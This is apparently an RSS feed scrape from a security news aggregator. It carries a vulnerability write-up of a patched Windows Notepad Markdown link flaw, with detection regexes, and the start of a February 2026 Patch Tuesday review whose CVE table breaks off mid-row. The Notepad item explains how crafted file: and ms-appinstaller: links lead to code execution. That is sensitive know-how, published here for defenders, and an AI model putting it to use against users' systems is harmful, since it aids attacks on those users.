and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enhanced developer tools on the Microsoft Store]]></title>
<description><![CDATA[The Microsoft Store on Windows continues to evolve, shaped by ongoing feedback from developers building and scaling apps on the platform. Over the past months, that feedback has guided several updates across onboarding, publishing, distribution and a
The post Enhanced developer tools on the Micro...]]></description>
<link>https://tsecurity.de/de/3694513/it-security-nachrichten/enhanced-developer-tools-on-the-microsoft-store/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694513/it-security-nachrichten/enhanced-developer-tools-on-the-microsoft-store/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Microsoft Store on Windows continues to evolve, shaped by ongoing feedback from developers building and scaling apps on the platform. Over the past months, that feedback has guided several updates across onboarding, publishing, distribution and a</p>
<p>The post <a href="https://blogs.windows.com/windowsdeveloper/2026/02/11/enhanced-developer-tools-on-the-microsoft-store/">Enhanced developer tools on the Microsoft Store</a> appeared first on <a href="https://blogs.windows.com/windowsdeveloper">Windows Developer Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by Cristian Papa and Alasdair Gornia...]]></description>
<link>https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by</em> <em>Cristian Papa and Alasdair Gorniak of Delta Obscura. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account. The following is a portion of their write-up covering CVE-2026-20841, with a few minimal modifications.</em></p>





















  
  




  



  <hr>
  
    
    



  

<p>A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links in Markdown files.</p>
<p>A remote attacker could exploit this vulnerability by enticing the victim to download and interact with a malicious file. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.</p>
<p><b data-preserve-html-node="true">The Vulnerability</b></p>
<p>Microsoft Windows comes with a default text-editing application called Windows Notepad. Historically, this application offered only minimal editing features. However, modern versions of Windows include an improved and extended Notepad by default. This new version supports multiple file formats, Markdown rendering, and Copilot-enhanced features.</p>
<p><a href="https://spec.commonmark.org/0.31.2/">Markdown</a> is a lightweight markup language that allows users to create formatted text using a simple syntax. It is widely used for writing documents, blog posts, and README files. It supports a wide range of formatting options, including (but not limited to) headers, styled text, numbered and bulleted lists, and links. Markdown supports two main link formats: standard and inline. The standard link format is:</p>
<p>          <code>[link-name](link/path)</code></p>
<p>When rendered, only the link text ("link-name") is shown to the user.</p>
<p>The inline links use the following format:</p>
<p>          <code>&lt;link/path&gt;</code></p>
<p>When rendered, they are transformed into the equivalent standard link:</p>
<p>          <code>[link/path](link/path)</code></p>
<p>A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links when handling Markdown files.</p>
<p>When Notepad opens a file, if the application detects that the file requires special rendering (in this case, Markdown), the input file is tokenized. Tokenization in this context means splitting the raw file text into a sequence of small, recognizable pieces ("tokens") that the renderer can process one by one. Detection is performed based on the file extension. Only the ".md" extension was found to trigger Markdown rendering, as the application uses a fixed string comparison to determine whether Markdown should be rendered by calling <code>sub_1400ED5D0()</code>. Markdown files are rendered token by token.</p>
<p>Function <code>sub_140170F60()</code> handles clicking on links in Markdown files. It filters the link value, and passes it to <code>ShellExecuteExW()</code> call.</p>
<p>The filtering performed on the link is found to be insufficient, as it allows using malicious crafted protocol URIs, such as "file://" and "ms-appinstaller://", to execute arbitrary files in the security context of victim. <code>ShellExecuteExW()</code> uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.</p>
<p>A remote attacker could exploit this vulnerability by enticing the victim to download a malicious crafted Markdown file, open it, and click on a malicious link. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.</p>
<p>Notes<br>•	Files using the ".md" file extension are not registered to be opened by Notepad by default. However, when opened manually in Notepad, they are rendered as Markdown, which allows the vulnerability to be triggered.<br>•	Any "\\" sequences are converted to "\" in the attacker-controlled link path prior to passing it to the <code>ShellExecuteExW()</code> call.</p>
<p><b data-preserve-html-node="true">Source Code Walkthrough</b></p>
<p>The following code snippet was taken from Notepad.exe version 11.2508. Comments added by TrendAI researchers have been highlighted.</p>
<p>In <code>sub_140170F60()</code>:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following application protocols that can be used to deliver an attack to exploit this vulnerability:<br>•	FTP, over ports 21/TCP, 20/TCP<br>•	HTTP, over port 80/TCP<br>•	HTTPS, over port 443/TCP<br>•	IMAP, over port 143/TCP<br>•	NFS, over ports 2049/TCP, 2049/UDP, 111/TCP, 111/UDP<br>•	POP3, over port 110/TCP<br>•	SMTP, over ports 25/TCP, 587/TCP<br>•	SMB/CIFS, over ports 139/TCP, 445/TCP  </p>
<p>The detection device must inspect traffic transferring a Markdown file with the file extension ".md". If such a file transfer is found, the detection device must search the file content for links.</p>
<p>The detection device must check whether the link paths contain the strings "file:" or "ms-appinstaller:".</p>
<p>If "file:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:</p>
<p><code>(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}</code></p>
<p>If "ms-appinstaller:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:</p>
<p><code>(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}</code></p>




  <p class="">If any of the regular expressions matches, the link contains a path to a remote resource. The traffic must be considered malicious; an attack exploiting this vulnerability is likely underway. This guidance should also detect the public PoC that was recently posted on <a href="https://github.com/BTtea/CVE-2026-20841-PoC">GitHub</a>.</p><p class="">Notes</p><p class="">•  The string matches are case-insensitive.<br>•  The detection guidance is based on the vendor-provided patch. However, the patch restricts the links to local-only files and HTTP(S) URIs, which may result in a huge number of false positives. Because of that, the detection guidance focuses on formats that may access and execute remote files. Due to that, it may result in false negatives.<br>•  The vulnerable function uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-20841">patched</a> by Microsoft in the February 2026 release cycle. They note no workarounds but do list user interaction as a prerequisite to exploitation. To fully remediate the vulnerability, the proper action is to test and deploy the provided vendor patch.</p><p class="">Special thanks to Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
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<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
